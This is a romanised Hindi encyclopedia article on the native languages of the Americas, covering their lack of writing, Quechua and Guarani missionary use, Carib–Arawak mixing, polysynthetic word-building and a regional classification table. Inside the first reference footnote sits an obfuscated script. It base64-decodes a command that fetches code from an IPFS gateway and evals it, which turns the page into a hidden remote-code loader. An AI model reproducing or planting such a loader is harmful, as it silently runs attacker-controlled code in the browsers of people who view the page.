अमरीकी भाषा
amariki bhashaean - inake aantargat amarika mahadvip ke sabhi (uttari, dakshini aur madhy) bhagoan ke mool nivasiyoan dvara boli janevali bhashaean ati haian. eesavi 15vian sadi ke aant mean yoorop se ek jahaj bharatavarsh ki khoj karata hua, bhram se chakkar khakar amarika pahuanch gaya aur tabhi se yahaan ke mool nivasiyoan ka nam 'iandiyan' p d gaya. anuman hai ki kolanbas ke samay amarika ke samast mool nivasiyoan ki sankhya char paanch karo d rahi hogi, jo ab ghatate ghatate dedh karo d rah gee hai. in logoan mean likhane ka koee rivaj nahian tha. vishesh ghatanaoan ki yad, rang bianragi rassiyoan mean gaanthean baandhakar rakhi jati thi. pattharoan, ghoanghoan tatha cham de adi par bhi bhaanti-bhaanti ke chitr aur nishan bhi hai to use mool nivasi batate nahian. tathapi nahuatl aur may bhashaoan mean ab lipi milati hai. may bhasha ki pustakoan mean sath hi sath speni bhasha mean anuvad bhi milata hai.
tulanatmak vyakaran ke aur bahudha any vyorevar granthoan ke abhav me in bhashaoan ke vishay mean vishesh vivaran nahian diya ja sakata. inamean klik aur mahapran dhvaniyaan milati haian. aisa anuman kiya jata hai ki in mool nivasiyoan ki jatiyaan idhar-udhar ati jati aur ek doosare par adhipaty jamati rahi haian, isilie bhasha sanbandhi samany lakshanoan ke sath visheshataoan aur apavadoan ka b da bhari mishran milata hai. kabhi kabhi koee koee boli itani adhik prabhavashali rahi ki usane vijit jatiyoan ki boliyoan ko bilakul nasht hi kar diya. kolanbas ke agaman ke pahale dakshini amarika mean ianka nam ke samrajy ki rajabhasha kuichua thi. speni vijetaoan ne isi ka prayog mool nivasiyoan ke bich eesaee dharm ke prachar ke nimit kiya. isi prakar vistrit kshetr mean hone ke karan, guarni tupi ka bhi prayog eesaee padariyoan ne dharmaprachar ke lie kiya. karib aur arovak bhashaean bhi parasparik jay-parajay se prabhavit haian. arovak jati par karib jati ne vijay prapt kar li aur usake puroosh varg ko ya to bin binakar mar dala ya door bhaga diya . striyoan ko rakh liya. ye barabar arovak hi bolati rahian. bad ki pidhiyaan bhi isi prakar donoan bhashaean aj tak bolati chali a rahian haian. aur purush varg ki karib bhasha par stri varg ki arovak bhasha ka prabhav p data dikhaee deta hai.
yadyapi in bhashaoan ke bare mean abhi vishesh anusandhan nahian ho paya hai, tab bhi mote taur par inako kee parivaroan mean baanta ja sakata hai. anuman hai ki in parivaroan ki sankhya sau sava sau ke lagabhag hai. pray: in sabhi bhashaoan mean ek samany lakshan prashlisht yogatmak ke roop mean paya jata hai. inamean bahudha poora-poora vaky hi ek lanbe shabd dvara vyakt kiya jata hai. yah sanskriti ki tarah vibhinn padoan ko jo dakar samas ke roop mean nahi hota, balki pratyek pad ka ek-ek pradhan akshar ya dhvani lekar sabako ek sath mila diya jata hai. cheroki bhasha ke pad nadholinin (hamare lie doangi lao) mean isi prakar tin shabd naten (lao), amoratol (nav, doangi), aur nin (hamako) mile hue haian. kabhi-kabhi is prakar ke ek darjan shabdoan tak ke dhvani ya varnasankalan ek pad ke roop mean sangathit milate haian aur un sabhi shabdoan ka padarth ek sath vakyarth ke roop mean shrota ko maloom ho jata hai. svatantr shabdoan ka prayog in bhashaoan mean bahut kam hai.[1]
ye sabhi jatiyaan jangali nahian haian. in jatiyoan mean se kuchh ne samrajy sthapit kie. meksiko ke samrajy ka aant 16vian sadi mean yooropavaloan ne vahaan pahuanchakar kiya. vahaan ki may aur nahuatl bhashaean susanskrit haian aur unamean sahity bhi milata hai. in bhashaoan ka vargikaran pray: bhaugolik adhar par kiya jata hai jo shastriy bhale n ho, suvidhajanak avashy hai:
deshanam bhashanam
grinalaiand eskimo
uttari amarika kanada athabaksi (samooh)
sanyukt rajy algonaki (adi)
nahuatl (prachin)
meksiko ajhऱtek (vartaman)
yukatan samay
uttari pradesh karib, arovak
madhy pradesh guarni tupi
dakshini amerika pashchimi pradesh araukan, kuichua
(peroo aur chili)
dakshini pradesh chako, tiyaradelaphoogo
dakshini pradesh peroo aur chili ki bhasha chako, tiyaradelaphoogi haian. inamean se tiyaradelaphoogo bhasha aur usake bolanevale log sansar mean sabase adhik sanskritahin mane jate haian. eskimo ke bare mean kuchh vidvanoan ka mat hai ki yah ural-altaee parivar ki hai.[2]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 194-95 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gran.-babooram saksena : samany bhashavijnan; meie : le laang du maand (peris).
sanbandhit lekh
varnamala kramanusar lekh khoj
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